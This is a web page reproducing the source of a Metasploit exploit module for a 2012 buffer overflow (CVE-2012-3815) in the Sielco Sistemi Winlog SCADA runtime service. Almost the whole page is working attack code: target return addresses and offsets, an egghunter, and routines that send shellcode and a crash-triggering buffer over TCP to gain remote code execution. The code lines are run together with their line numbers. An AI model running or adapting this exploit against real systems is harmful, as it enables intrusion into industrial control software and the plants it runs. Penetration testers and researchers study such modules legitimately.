Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/winlog_runtime_2.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Egghunter1011def initialize(info = {})12super(update_info(info,13'Name' => 'Sielco Sistemi Winlog Buffer Overflow 2.07.14 - 2.07.16',14'Description' => %q{15This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.16.16When sending a specially formatted packet to the Runtime.exe service on port 46824,17an attacker may be able to execute arbitrary code.18},19'License' => MSF_LICENSE,20'Author' =>21[22'Michael Messner <devnull[at]s3cur1ty.de>'23],24'References' =>25[26[ 'BID', '53811'],27[ 'CVE', '2012-3815'],28[ 'OSVDB', '82654'],29[ 'EDB', '18986'],30[ 'URL', 'http://www.s3cur1ty.de/m1adv2012-001' ],31[ 'URL', 'http://www.sielcosistemi.com/en/download/public/winlog_lite.html' ]32],33'DefaultOptions' =>34{35'EXITFUNC' => 'thread',36},37'Platform' => 'win',38'Payload' =>39{40'Space' => 2000,41'BadChars' => "\x00",42'DisableNops' => true,43},44'Targets' =>45[46[ 'Sielco Sistemi Winlog 2.07.14/2.07.16 - Ceramics Kiln Project',47{48'Ret' => 0x405153df,49'Offset' => 167,50}51], # Jmp ESP - Vclx40.bpl - 0x405153df52[ 'Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project',53{54'Ret' => 0x405153df,55'Offset' => 151,56}57], # Jmp ESP - Vclx40.bpl - 0x405153df58#The reliability depends on the actual project. We need to generate some more59#targets. Two of them for the default project and one other project is now available.60],61'Privileged' => false,62'DisclosureDate' => '2012-06-04',63'DefaultTarget' => 0))6465register_options([Opt::RPORT(46824)])66end6768def exploit69connect7071egghunter,egg = generate_egghunter(payload.encoded, payload_badchars)7273print_status("Placing the shellcode")74shellcode = rand_text_alpha(2000)75shellcode << egg76sock.put(shellcode)7778select(nil,nil,nil,1)7980buffer = rand_text_alpha(20)81buffer << "\x14" * 10 #trigger the crash82buffer << rand_text_alpha(target['Offset'])83buffer << [target.ret].pack('V')84buffer << egghunter85buffer << rand_text_alpha(69 - egghunter.length)8687print_status("Trying target #{target.name}...")88sock.put(buffer)8990handler91disconnect9293end94end95969798